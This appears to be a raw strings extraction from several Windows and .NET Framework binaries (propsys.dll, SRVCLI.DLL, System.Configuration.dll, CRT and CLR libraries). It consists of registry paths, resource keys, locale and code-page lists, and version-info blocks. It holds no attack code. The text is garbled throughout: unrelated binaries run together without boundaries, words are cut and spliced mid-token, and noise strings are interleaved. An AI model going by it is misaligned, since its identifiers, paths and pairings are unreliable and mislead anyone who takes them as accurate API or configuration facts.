LinksUpToDate System.Rating DocSlideCount DocLastAuthor System.Author ProductVersion System.Subject DocLastSavedTm DocLastPrinted DocHiddenCount System.Comment System.Capacity FileDescription System.Fax.CSID System.Fax.TSID System.Fax.Time DRM Description System.Keywords System.Category System.FreeSpace FaxRecipientName System.FileOwner Video Sample Size Audio Sample Size System.Media.Year System.Search.Rank.ItemFolderNameDisplay System.Link.TargetParsingPath System.Software.ProductVersion System.Document.RevisionNumber System.Document.ParagraphCount System.Document.CharacterCount System.StructuredQueryType.AnyBitsSet System.StructuredQueryType.AllBitsSet UnregisterAcceleratedUriLaunch copyDataFormatId RegisterAcceleratedUriLaunch UnregisterAcceleratedTil std::exception: %hs ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Software\Microsoft\Windows\CurrentVersion\Explorer\SyncRootManager AggregatePropertyProvider yHandlers SchemaId %04d CompactURI %PROGRAMFILES% [shmig] [propsys] %PROGRAMFILES(x86)% Creating Key for %ws as %ws typeInfo/@type typeInfo/@groupingRange Minimum Maximum typeInfo/@aggregationType typeInfo/@conditionType NotEqual GreaterThan LessThan typeInfo/@defaultOperation Contains displayInfo/@displayType displayInfo/stringFormat/@formatAs displayInfo/numberFormat/@formatAs displayInfo/numberFormat/@formatDurationAs ShortDate displayInfo/dateTimeFormat/@formatTimeAs HideDate LongDate RelativeLongDate RelativeShortDate displayInfo/dateTimeFormat/@formatDateAs TrueFalse OnOff Month displayInfo/booleanFormat/@formatAs displayInfo/dateTimeFormat/@formatAs YearMonth NamedValue%04u displayInfo/enumeratedList/@defaultText displayInfo/drawControl/@control displayInfo/filterControl/@control displayInfo/@alignment displayInfo/@defaultSortDirection displayInfo/@relativeDescriptionType Priority relatedPropertyInfo/relatedProperty/@relationshipName System. relatedPropertyInfo/relatedProperty/@propertyName semanticType/@base Shell_TrayWnd TaskbandHWND ... ... SystemIndexNormalization SOFTWARE\Microsoft\Windows Search sr-Cyrl-CS sr-SP-Cyrl sr-Latn-CS sr-SP-Latn sr-Cyrl-BA sr-BA-Cyrl sr-Latn-BA sr-BA-Latn iu-CA-Latn bs-Cyrl-BA iu-Latn-CA bs-BA-Latn zh-Hant bs-BA-Cyrl bs-Latn-BA zh-CHS zh-CHT zh-Hans .\%s\%s.mui .\%s.mui %s\%s\%s.mui %s\%s.mui Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383} Locale !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft Property System FileVersion 7.0.26100.7705 (WinBuild.160101.0800) InternalName propsys.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename propsys.dll ProductName Windows Search ProductVersion 7.0.26100.7705 VarFileInfo Translation en-US Security=Impersonation Dynamic False \PIPE\ srvsvc ncacn_np System\CurrentControlSet\Services\LanmanWorkstation\Parameters RpcCacheTimeout cscapi.dll LanmanServer localhost LanmanWorkstation \Device\LanmanRedirector \;:[ !"#$%&'()*+,-./0123456789:;<=>?@AB VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Server Service Client DLL FileVersion 10.0.26100.1 (WinBuild.160101.0800) InternalName SRVCLI.DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename SRVCLI.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.1 VarFileInfo Translation HKLM HKCR %s\%s %s_%s true HKCU\ ieuser.exe ieinstal.exe iexplore.exe ntdll.dll microsoftedge.exe microsoftedgesh.exe user32.dll SYSPREP.EXE EXPLORER.EXE IEXPLORE.EXE MSFEEDSSYNC.EXE microsoftedgecp.exe TE.EXE DCIScanner MSOOBE.EXE WWAHOST.EXE MSHTMPAD.EXE NETPLWIZ.EXE LOADER42.EXE IEUTLAUNCH.EXE RESTOREOPTIN.EXE FirstLogonAnim.exe Te.ProcessHost.exe USERACCOUNTBROKER.EXE FAKEVIRTUALSURFACETESTAPP.EXE microsoftedgebchost.exe microsoftedgedevtools.exe pickerhost.exe Internet Explorer browser_broker.exe Software Software\Policies jshost.exe authhost.exe Software\Microsoft\Internet Explorer\Main\FeatureControl Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings Security_HKLM_only API-MS-WIN-CORE-URL-L1-1-0.DLL %s\ie_ias_%s IEUser_ IAS_ID_%s_%d BACKGROUND_TASK_IAS_ID_%s_%d %FPS_BROWSER_APP_PROFILE_STRING%\ %FPS_BROWSER_APP_PROFILE_STRING%\User\%FPS_BROWSER_USER_PROFILE_STRING%\ FPS_BROWSER_USER_PROFILE_STRING FPS_BROWSER_APP_PROFILE_STRING Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA JS_DEBUG User\%s Default %BrowserUserProfile% Windows.Foundation.Uri file Windows.Foundation.PropertyValue RawUri \\?\ xn-- Software\Microsoft\ Software\Policies\Microsoft\ Spartan_Authority_Package_Moniker_TBD Software\Microsoft\Internet Explorer\SpartanPlan HKCU %s%s profapi.dll Windows.Foundation.WwwFormUrlDecoder %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll pLocal\SM0:%lu:%lu:%hs ie_ias_%s rInternet Explorer\Main \LowRegistry Software\Microsoft\Internet Explorer\LowRegistry \Main Software\Microsoft\Internet Explorer\Main OperationalData %0I64x style EMAIL.EXE browser.exe SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\Stats DNTException DNTException\Low RACShare Cache Cookies Favorites History Low\History.IE5 History.IE5 Database Microsoft\Windows\WebCache DatabaseLock.dat Microsoft\Windows\WebCacheLock.dat AppCache Microsoft\Windows\AppCache counters2.dat PrivacIE PrivacIE\Low Low\SQM Tracking Protection Microsoft\Internet Explorer\Tracking Protection DomainSuggestions Microsoft\Internet Explorer\DomainSuggestions SmartScreenCache.dat Low\SmartScreenCache.dat Enclosure Virtualized IECompatCache ..\IECompatCache ..\IECompatCache\Low IECompatUaCache ..\IECompatUaCache ..\IECompatUaCache\Low PPBCompatCache ..\PPBCompatCache ..\PPBCompatCache\Low PPBCompatUaCache ..\PPBCompatUaCache ..\PPBCompatUaCache\Low Feeds Microsoft\Feeds DOMStore Microsoft\Internet Explorer\DOMStore EdpDomStore Microsoft\Internet Explorer\EdpDomStore Microsoft\Internet Explorer\Indexed DB\Internet.edb Microsoft\Internet Explorer\Indexed DB\EDGE\IndexedDB.edb Microsoft\Internet Explorer\Indexed DB\EDP\IndexedDB.edb Microsoft\Internet Explorer\Indexed DB\EDP_EDGE\IndexedDB.edb Microsoft\Internet Explorer\Indexed DB\PRI\IndexedDB.edb Microsoft\Internet Explorer\Indexed DB\PRI_EDGE\IndexedDB.edb Microsoft\Internet Explorer\Indexed DB\EDP_PRI\IndexedDB.edb Microsoft\Internet Explorer\Indexed DB\EDP_PRI_EDGE\IndexedDB.edb Microsoft\Internet Explorer\Indexed DB\AppQuota.edb Microsoft\Internet Explorer\Indexed DB\APP_EDP\IndexedDB.edb Microsoft\Internet Explorer\CacheStorage MSIMGSIZ.DAT Low\MSIMGSIZ.DAT Microsoft\Internet Explorer\MSIMGSIZ.DAT PlayReady Microsoft\PlayReady\Internet Explorer\Desktop PlayReady\InPrivate Microsoft\PlayReady\Internet Explorer\InPrivate\Desktop UserData Microsoft\Internet Explorer\UserData\Low Microsoft\Internet Explorer\UserData IEFlipAheadCache Microsoft\Internet Explorer\IEFlipAheadCache Wallpaper Microsoft\Internet Explorer jscache ..\jscache UrlBlock Microsoft\Internet Explorer\UrlBlock UrlBlock\l2cache Microsoft\Internet Explorer\UrlBlock\l2cache EmieSiteList Microsoft\Internet Explorer\EmieSiteList EmieSiteListDualEngine Microsoft\Internet Explorer\EmieSiteListDualEngine EmieUserList Microsoft\Internet Explorer\EmieUserList Microsoft\Internet Explorer\LowCookiesMigration\LowCookiesMigration.json WebNotes TemporaryFiles PdfAttachment Extensions BrowserImport BrowserExportManagerData ExtensionsByteCodeCache Microsoft\Extensions Userenv.dll html %%%02x %%%02x%%%02x %%%02x%%%02x%%%02x %%%02x%%%02x%%%02x%%%02x
&%s; &#%d; image rect _blank svg: ?xml Windows.Foundation.WwwFormUrlDecoderEntry small medium large high kernel32.dll api-ms-win-appmodel-runtime-l1-1-0.dll Package Full Name Application Name ApplicatWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Protocols\ AcceptLanguage Arab;Syrc;Thaa; Arab;Bali;Beng;Bugi;Deva;Ethi;Gujr;Guru;Hang;Hani;Hans;Hant;Hebr;Hira;Jpan;Kana;Khmr;Knda;Kore;Laoo;Mlym;Mong;Mymr;Orya;Sinh;Syrc;Taml;Telu;Thaa;Thai;Tibt; Hani;Hans;Hant;Hira;Jpan;Kana; AllowedScripts activatibleClassId "&<>[\]^{|}` \/[] mhtml: .htm .html .xml .doc .xls .ppt .rtf .dot .xlw .pps .xlt .hta .pot .pdf .svg .svgz .xht .xhtml .epub b.mspdf .msepub Uri_PROPERTY_AUTHORITY Uri_PROPERTY_ABSOLUTE_URI Uri_PROPERTY_DOMAIN Uri_PROPERTY_DISPLAY_URI Uri_PROPERTY_FRAGMENT Uri_PROPERTY_EXTENSION Uri_PROPERTY_PASSWORD Uri_PROPERTY_HOST Uri_PROPERTY_PATH_AND_QUERY Uri_PROPERTY_PATH Uri_PROPERTY_RAW_URI Uri_PROPERTY_QUERY Uri_PROPERTY_USER_INFO Uri_PROPERTY_SCHEME_NAME Uri_PROPERTY_HOST_TYPE Uri_PROPERTY_USER_NAME Uri_PROPERTY_SCHEME Uri_PROPERTY_PORT Uri_PROPERTY_ZONE \StringFileInfo\%04X%04X\%s \VarFileInfo\Translation \StringFileInfo\040904E4\%s \StringFileInfo\040904B0\%s \StringFileInfo\04090000\%s %s\%s\iexplore -.0123456789 Security_HKLM_Only jjjjjj jjjj defghistux Internet Explorer Windows\CurrentVersion\Internet Settings Internet Explorer Default file +?Hr wqlW =TZk >?HIJKLMTiqrw~ PQop c\? ?JKLM tyz| #/0@?ABCDEFGHIJKL MNOPQRSTVUWX YZ[\]^_`a bcde fghi jklmnopqrstuvwxyz{|}~ text/plain abcdefghijklmnopqrstuvwxyz012345,:; VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription System.Configuration.dll FileVersion 4.8.9221.0 built by: NET481REL1LAST_25H2 InternalName System.Configuration.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename System.Configuration.dll ProductName Microsoft .NET Framework ProductVersion 4.8.9221.0 Comments Flavor=Retail PrivateBuild DDBLD299B VarFileInfo Translation llll #%&(-39>BELQUZ^bhkqw{ ^RAx q_L6k "&+.1579;>BEHLORUWZ]`cegi :Ve "| MACHINE/EXE MACHINE ROAMING_USER LOCAL_USER MACHINE/EXE/ROAMING_USER/LOCAL_USER MACHINE/EXE/ROAMING_USER Config machine.config system.net CreateInstance Config_base_collection_entry_already_exists path Validation_scalar_range_violation_not_different Validation_scalar_range_violation_not_equal Validation_scalar_range_violation_not_outside_range Validation_scalar_range_violation_not_in_range Config_base_unrecognized_attribute Exception_EndOfInnerExceptionStack Delegate method target ClassName Signature Signature2 MemberType TargetTypeName DelegateAssembly MethodName TypeLib PrimaryInteropAssemblyName PrimaryInteropAssemblyCodeBase GenericArguments AssemblyName System.Variant {0:00}:{1:00} Format_BadDateTime Format_BadDateTimeCalendar Format_BadDayOfWeek length2 length1 offset2 offset1 Format_MissingIncompleteDate Format_DateOutOfRange 0000 00000 000000 0000000 yyyy'-'MM'-'ddTHH':'mm':'ss zzz ddd, dd MMM yyyy HH':'mm':'ss 'GMT' yyyy'-'MM'-'dd'T'HH':'mm':'ss yyyy'-'MM'-'dd HH':'mm':'ss'Z' yyyy'-'MM'-'dd'T'HH':'mm':'ss.fffffffK dv-MV C.E. ap. J.-C. MissingManifestResource_NoNeutralDisk baseName: locationInfo: zh-chs zh-cht IO.PathNotFound_Path MissingMember Arg_MissingMemberException Argument_InvalidPathChars Arg_ParamName_Name IO.IO_NoPermissionToDirectoryName IO.IO_SharingViolation_File snsjsru uvuzv http://www.w3.org/2001/XMLSchema#boolean ntIdentity role IdentityReference_MustBeIdentityReference IdentityReference_IdentityNotMapped accountName IdentityReference_AccountNameTooLong IdentityReference_DomainNameTooLong domainName sourceAccounts Arg_EmptyCollection Argument_ImproperType subAuthorities subAuthorities.Length IdentityReference_InvalidNumberOfSubauthorities identifierAuthority IdentityReference_IdentifierAuthorityTooLarge IdentityReference_InvalidSidRevision IdentityReference_CannotCreateLogonIdsSid sidType PlatformNotSupported_RequiresW2kSP3 domainSid IdentityReference_DomainSidRequired IdentityReference_NotAWindowsDomain sidType/domainSid S-1-{0} -{0} sourceSids All_ToString IMembershipCondition System.Security.Policy.AllMembershipCondition Argument_MembershipConditionElement System.Security.Policy.ApplicationDirectory Directory System.Security.Policy.ApplicationDirectoryMembershipCondition ApplicationDirectory_ToString activationContext temp:Unrestricted SameSite System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 processorArchitecture applicationtrust.config Policy_NoTrustManager ApplicationSecurityManager IApplicationTrustManager System.Security.Policy.TrustManager, System.Windows.Forms, Version= , Culture=neutral, PublicKeyToken=b77a5c561934e089 fullTrustAssemblies Argument_NullFullTrustAssembly defaultGrantSet ApplicationTrust TrustedToRun Persist DefaultGrant FullTrustAssemblies ExtraInfo Argument_InvalidXML PolicyStatement {60051b8f-4f12-400a-8e50-dd05ebd438d1} trust Argument_ApplicationTrustShouldHaveIdentity trusts c989bb7a-8385-4715-98cf-a741a8edb823 Policy_NullHostEvidence membershipCondition group Children Argument_CodeGroupChildrenMustBeCodeGroups MembershipCondition CodeGroup PermissionSetName Attributes Argument_FailedCodeGroup Policy_EvidenceMustBeSerializable Policy_DuplicateEvidence Policy_IncorrectHostEvidence MergeLogic_Union FileCodeGroup_PermissionSet System.Security.Policy.FileCodeGroup MergeLogic_FirstMatch System.Security.Policy.FirstMatchCodeKG km-KH ar-KW kk-KZ lo-LA ar-LB de-LI si-LK lt-LT lb-LU lv-LV ar-LY ar-MA fr-MC sr-Latn-ME mk-MK mn-MN zh-MO mt-MT es-MX ms-MY ig-NG es-NI nl-NL nn-NO ne-NP en-NZ ar-OM es-PA es-PE en-PH ur-PK pl-PL es-PR pt-PT es-PY ar-QA ro-RO sr-Latn-RS ru-RU rw-RW sv-SE zh-SG sl-SI sk-SK wo-SN es-SV ar-SY tg-Cyrl-TJ tk-TM ar-TN tr-TR en-TT uk-UA es-UY uz-Cyrl-UZ es-VE vi-VN ar-YE af-ZA en-ZW Invariant Language (Invariant Country) Invariant Language Invariant Country International Monetary Fund HH:mm:ss HH:mm hh:mm tt H:mm h:mm tt Latn; 0409:00000409 english zh-chs zh-cht ko-kr_unicod ja-jp_unicod zh-hk_stroke ko-KR_unicod ja-JP_unicod zh-HK_stroke Globalization.ci_ Legacy Globalization.ri_ es-ES_tradnl Hhms System\CurrentControlSet\Control\Nls\RegionMapping InvalidOperation_DebuggerLaunchFailed state visualizerObjectSource visualizer Global Global Switch for this log LogSwitch level parent PortablePdb System.Diagnostics.StackTraceSymbols, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 GetSourceLineInfoWithoutCasAssert GetSourceLineInfo skipFrames System.Diagnostics in {0}:line {1} Word_At StackTrace_InFileLineNumber {0} Exception_EndStackTraceFromPreviousThrow at offset in file:line:column Requires Requires Ensures EnsuresOnThrow Invariant Argument_ToExclusiveLessThanFromExclusive failureKind Asserting that we must use the rewriter went reentrant. Didn't rewrite this mscorlib? MustUseCCRewrite Kind UserMessage Condition OnStartEnter OnStartEnterActivityState OnStartRET Fail OnStartRetActivityState OnStartRet OnStopEnter OnStopEnterActivityState OnStopRET OnStopRetActivityState OnStopRet Start Stop task ArgumentOutOfRange_NeedValidId _OutOfOrderDateTimes daylightDelta Argument_DateTimeHasTimeOfDay DateStart DateEnd DaylightDelta DaylightTransitionStart DaylightTransitionEnd BaseUtcOffsetDelta timeOfDay ArgumentOutOfRange_MonthParam ArgumentOutOfRange_DayParam week ArgumentOutOfRange_Week ArgumentOutOfRange_DayOfWeek Argument_DateTimeHasTicks TimeOfDay Month Week DayOfWeek IsFixedDateRule MM:dd:yyyy HH:mm:ss.FFF Serialization_InvalidEscapeSequence Arg_VersionString BeginRead BeginWrite IO_StreamWriterBufferedDataLostCaptureAllocatedFromCallstackNotEnabled IO_StreamWriterBufferedDataLost COMPlus_Pkcs12UnspecifiedPasswordIterationLimit SOFTWARE\Microsoft\.NETFramework Pkcs12UnspecifiedPasswordIterationLimit ,DEAD InvalidOperation_UnderlyingArrayListChanged NotSupported_RangeCollection arrayList ParentTable hashtable sortedList partitionCount PartitionerStatic_CurrentCalledBeforeMoveNext InvalidOperation_WrongAsyncResultOrEndCalledMultiple Parallel_ForEach_NullEnumerator Task.Delay Task.WhenAll TaskFactory.ContinueWhenAll TaskFactory.ContinueWhenAll<> TaskFactory.ContinueWhenAny Remoting_Activation_MissingRemoteAppEntry Remoting_Config_CantUseRedirectedTypeForWellKnownService Remoting_Config_TypeAlreadyRedirected Remoting_Config_CantRedirectActivationOfWellKnownService Remoting_WellKnown_MustBeMBR lastByte lastChar bigEndian bitCount firstByte surrogateChar storedSurrogate mustFlush wbits trailCount isSurrogate byteSequence bLeftOver1 bLeftOver2 bLeftOver3 bLeftOver4 m_leftOverBytes leftOver System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 Factory CreateNew PartitionerStatic_CanNotCallGetEnumeratorAfterSourceHasBeenDisposed Acc_CreateAbst Acc_CreateAbstEx" Acc_CreateArgIteratore Acc_CreateGeneric Acc_CreateGenericEx Acc_CreateInterface Acc_CreateInterfaceEx Acc_CreateVoid Acc_NotClassInit Acc_ReadOnly Acc_RvaStatic AccessControl_AclT pported_One NotSupported_OpenType NotSupported_OutputStreamUsingTypeBuilder NotSupported_PIAInAppxProcess NotSupported_PopulateData NotSupported_PositiveInfinity NotSupported_RangeCollection NotSupported_ReadOnlyCollection NotSupported_Reading NotSupported_RequiresCasPolicyExplicit NotSupported_RequiresCasPolicyImplicit NotSupported_ResourceObjectSerialization NotSupported_SecurityContextSourceAppDomainInHeterogenous NotSupported_SecurityPermissionUnion NotSupported_SetMethod NotSupported_SignalAndWaitSTAThread NotSupported_SortedListNestedWrite NotSupported_StringComparison NotSupported_SubclassOverride NotSupported_SymbolMethod NotSupported_TooManyArgs NotSupported_Type NotSupported_TypeCannotDeserialized NotSupported_TypeNotYetCreated NotSupported_UmsSafeBuffer NotSupported_UnitySerHolder NotSupported_UnknownTypeCode NotSupported_UnreadableStream NotSupported_UnsafePointer NotSupported_UnseekableStream NotSupported_UnwritableStream NotSupported_ValueClassCM NotSupported_ValueCollectionSet NotSupported_Void[] NotSupported_WaitAllSTAThread NotSupported_WinRT_PartialTrust NotSupported_Writing NotSupported_WrongResourceReader_Type NotSupported_Zero NullReference_This ObjectDisposed_FileClosed ObjectDisposed_Generic ObjectDisposed_ObjectName_Name ObjectDisposed_ReaderClosed ObjectDisposed_RegKeyClosed ObjectDisposed_ResourceSet ObjectDisposed_StreamClosed ObjectDisposed_ViewAccessorClosed ObjectDisposed_WriterClosed OperationCanceled OrderablePartitioner_GetPartitions_WrongNumberOfPartitions OutOfMemory_GCHandleMDA Overflow_Byte Overflow_Char Overflow_Currency Overflow_Decimal Overflow_Double Overflow_Duration Overflow_Int16 Overflow_Int32 Overflow_Int64 Overflow_NegateTwosCompNum Overflow_NegativeUnsigned Overflow_SByte Overflow_Single Overflow_TimeSpanElementTooLarge Overflow_TimeSpanTooLong Overflow_UInt16 Overflow_UInt32 Overflow_UInt64 ParallelState_Break_InvalidOperationException_BreakAfterStop ParallelS charinfo.nlp ..... codepages.nlp shift_jis IBM860 ibm861 IBM880 DOS-862 IBM863 gb2312 IBM864 IBM865 cp866 koi8-u IBM037 ibm869 IBM500 x-mac-icelandic IBM01140 IBM01141 IBM01142 IBM273 IBM01143 IBM01144 IBM01145 windows-1250 IBM01146 windows-1251 IBM01147 macintosh windows-1252 DOS-720 IBM277 IBM01148 x-mac-japanese windows-1253 IBM437 IBM278 IBM01149 x-mac-chinesetr windows-1254 windows-1255 Johab windows-1256 x-mac-arabic windows-1257 x-mac-hebrew windows-1258 x-mac-greek x-mac-cyrillic IBM00924 iso-8859-2 iso-8859-3 iso-8859-4 iso-8859-5 iso-8859-6 IBM870 iso-8859-7 iso-8859-8 iso-8859-9 x-mac-turkish x-mac-croatian windows-874 cp875 IBM420 ks_c_5601-1987 IBM423 IBM424 IBM280 IBM01047 IBM284 IBM285 x-mac-romanian EUC-JP x-mac-ukrainian x-Europa ibm737 x-IA5 x-cp20936 x-IA5-German x-IA5-Swedish x-IA5-Norwegian koi8-r ibm775 iso-8859-13 IBM290 iso-8859-15 x-Chinese-CNS ASMO-708 IBM297 x-mac-thai x-cp20001 IBM905 x-Chinese-Eten x-EBCDIC-Korean x-cp20003 x-cp20004 x-cp20005 ibm850 IBM-Thai ibm852 IBM871 x-mac-ce IBM855 cp1025 x-cp20949 ibm857 IBM00858 x-cp20261 IBM1026 x-cp20269 shift_jis !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNO IBM01147 .<(+!&{ $*);^-/ ,%_>? abcdefghi [jklmnopqr stuvwxyz ABCDEFGHI JKLMNOPQR STUVWXYZ 0123456789 macintosh !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ windows-1252 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ DOS-720 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ IBM277 #.<(+!& *);^-/ ,%_>? '="@abcdefghi jklmnopqr stuvwxyz ABCDEFGHI JKLMNOPQR STUVWXYZ 0123456789 IBM01148 jjjjjj jjjjjj jjjj jjjj mscoree.dll am/pm (null) minkernel\crts\ucrt\inc\corecrt_internal_strtox.h __crt_strtox::floating_point_value::as_double _is_double __crt_strtox::floating_point_value::as_float !_is_double INITY inity nSNAN) snan) IND)ind) ja-JP zh-CN ko-KR zh-TW ((((( H ((((( H ( INITY inity nINF INITY inity nSNAN) snan) IND)ind) SNAN) snan) IND)ind) Assertion failed: %Ts, file %Ts, line %d Microsoft Visual C++ Runtime Library Assertion failed! Program: File: Line: Expression: sFor information on how your program can cause an assertion failure, see the Visual C++ documentation on asserts (Press Retry to cmd.exe /c COMSPEC PATH PTMP .Visual C++ CRT: Not enough memory to complete call to strerror. COMSPEC cmd.exe Sunday Monday Tuesday Wednesday Thursday Friday Saturday January February March April June July August September October November December MM/dd/yy dddd, MMMM dd, yyyy HH:mm:ss en-US api-ms-win-core-datetime-l1-1-1 api-ms-win-core-fibers-l1-1-1 api-ms-win-core-file-l1-2-2 api-ms-win-core-localization-l1-2-1 api-ms-win-core-localization-obsolete-l1-2-0 api-ms-win-core-processthreads-l1-1-2 api-ms-win-core-string-l1-1-0 api-ms-win-core-synch-l1-2-0 api-ms-win-core-sysinfo-l1-2-1 api-ms-win-core-winrt-l1-1-0 api-ms-win-core-xstate-l2-1-0 api-ms-win-rtcore-ntuser-window-l1-1-0 api-ms-win-security-systemfunctions-l1-1-0 ext-ms-win-ntuser-dialogbox-l1-1-0 ext-ms-win-ntuser-windowstation-l1-1-0 advapi32 kernel32 ntdll api-ms-win-appmodel-runtime-l1-1-2 user32 api-ms- ext-ms- tt-ru uk-ua ur-pk uz-uz-cyrl uz-uz-latn vi-vn xh-za zh-chs zh-cht zh-cn zh-hk zh-mo zh-sg zh-tw zu-za jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft C Runtime Library FileVersion 14.29.30154.0 built by: cloudtest InternalName ucrtbase_clr0400.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename ucrtbase_clr0400.dll ProductName Microsoft Visual Studio ProductVersion 14.29.30154.0 VarFileInfo Translation api-ms-win-core-fibers-l1-1-1 api-ms-win-core-synch-l1-2-0 kernel32 api-ms- jjjjj !"#$%&'()*+,-./0123456789:;<=?>@ABCDEFGHIJKLMNOP VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft C Runtime Library FileVersion 14.29.30154.0 built by: cloudtest InternalName vcruntime140_clr0400.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename vcruntime140_clr0400.dll ProductName Microsoft Visual Studio ProductVersion 14.29.30154.0 VarFileInfo Translation jjjjj jjjj jjjjj NETFX. DoNotForceOrderOfConstructors !"#$%&'()*+,-./ 789:;<=>?@ABCDEFGHJKLM NOPQRSTUVWXY \]^_`abcdefghijklmnpoqrstu vxw01I ntdll.dll Rank_MustMatch neutral %hu. mscorlib version name mscorlib, Version Culture PublicKeyToken typeName NULL publicKeyToken culture publicKey= type= processorArchitecture= PublicKeyToken= Culture= , Version=%ws , Culture=%ws , PublicKeyToken= Arg_InvalidHandle COMPLUS retail PRIVATE_BINPATH file:// .EXE APP_NAME DYNAMIC_BASE __FUSION_DYNAMIC_DIRECTORY__ __FUSION_APP_CFG_PRIVATE_BINPATH__ .exe %ws%ws ProbeModernResourcePackagesForSatelliteAssemblies %CULTURE%/%NAME% %CULTURE%/%NAME%/%NAME% %NAME% %CULTURE% DISALLOW_APP_BASE_PROBING %ws%ws%ws .MSI .CAB 0123456789ABCDEF .INI __FUSION_APPCFG_DOWNLOAD_ATTEMPTED__ FX_ONLY FORCE_CACHE_INSTALL BINPATH_PROBE_ONLY RFS_INTEGRITY_CHECK RFS_MODULE_CHECK DISALLOW_APP DISABLE_FX_ASM_UNIFICATION __FUSION_POLICY_CACHE__ b03f5f7f11d50a3a 4.0.0.0 10.0.0.0 b77a5c561934e089 31bf3856ad364e35 2.0.0.0 %hu.%hu.%hu.%hu APPBASE DISALLOW_APP_REDIRECTS 5.9.0.0 System.Xml System.Web.Services System.Windows.Forms 969db8053d3322ac System.Data 1c9e259686f921e0 1.0.5000.0 5fd57c543a9c0247 System.Drawing Microsoft.WindowsCE.Forms System.Data.SqlClient System.Windows.Forms.DataGrid 2.0.10.0 7.0.5000.0 1.0.5500.0 7.0.5500.0 3.9.0.0 8.1.0.0 8.1.5.0 3be235df1c8d2ad3 System.Messaging 8.0.0.0 8.0.10.0 3.5.0.0 3.0.3600.0 9.0.242.0 system.xml.linq system.data.DataSetExtensions System.Data.SqlServerCe 89845dcd8080cc91 3.5.1.0 3.5.200.999 2.0.5.0 99.0.0.0 System.ServiceModel 3.0.0.0 System.Runtime.Serialization Microsoft.CSharp System.ServiceModel.Web System.Xml.Linq System.Xml.Serialization System.ComponentModel.DataAnnotations ddd0da4d3e678217 System.Net System.Numerics System.Windows System Microsoft.VisualBasic System.ComponentModel.Composition System.Core 7cec85d7bea7798e policy. %ws%ws%d.%d.%ws %ws_%ws_%ws v4.0_ kernel32.dll relativeBindForResources .dll .DLL .dll Windows.Foundation.Numerics.Quaternion System.Numerics.Quaternion Windows.Foundation.Numerics.Plane System.Numerics.Plane Standard CLI 2002 v1.0 v1.1 DisableIJWVersionCheck DeferFXClosureWalk ZAP_CONFIG_FLAGS ZAP_STRING %08x%c JZ'R O20- VV+)e x<;= wKE$ O-0+ x6;7 w@E$ %ws\%ws DEV_PATH ReadyToRun :/\*<>?|" %ws\%ws\%ws $v4.0_%hu.%hu.%hu.%hu _%ws_ MSIL DefaultSecurityRuleSet cc7b13ffcd2ddd51 3,"%s","%s",%d Int32 UInt8 Single Int64 Double String Int16 UInt16 UInt32 UInt64 Object Char16 Boolean kernel32 %d.%d.%d.%d Attempting to use native image %s. .aux CheckNGenImageTimeStamp Compiled with different CLR DLL (%s). Exact match expected. Native image has correct version information. CLR.dll COMPlus_ legacyCorruptedStateExceptionsPolicy HillClimbing_SampleIntervalLow ThreadPool_ForceMaxWorkerThreads System.Threading.ThreadPool.MaxThreads ThreadPool_UnfairSemaphoreSpinLimit HillClimbing_Disable HillClimbing_ErrorSmoothingFactor HillClimbing_WaveMagnitudeMultiplier HillClimbing_WavePeriod HillClimbing_TargetSignalToNoiseRatio HillClimbing_Bias HillClimbing_MaxChangePerSecond HillClimbing_MaxWaveMagnitude HillClimbing_WaveHistorySize HillClimbing_SampleIntervalHigh HillClimbing_MaxChangePerSample HillClimbing_MaxSampleErrorPercent HillClimbing_GainExponent System.Threading.ThreadPool.MinThreads ThreadPool_ForceMinWorkerThreads AppContextSwitchOverrides advapi32.dll ole32.dll BreakOnFinalizeTimeOut StackSamplingEnabled 2,"%s",%d FileVersion ContentType MVID Custom ConfigMask Retargetable ProcessorArchitecture PublicKey clrjit.dll Arg_NoDefCTor fusion clr.dll fusion.dll mscorwks mscorwks.dll mscorpe mscorpe.dll ar-ae ar-bh ar-dz ar-eg af-za ar-ly ar-ma ar-om ar-qa ar-iq ar-jo ar-kw ar-lb az-cyrl-az az-latn-az be-by bg-bg ar-sa ar-sy ar-tn ar-ye de-ch 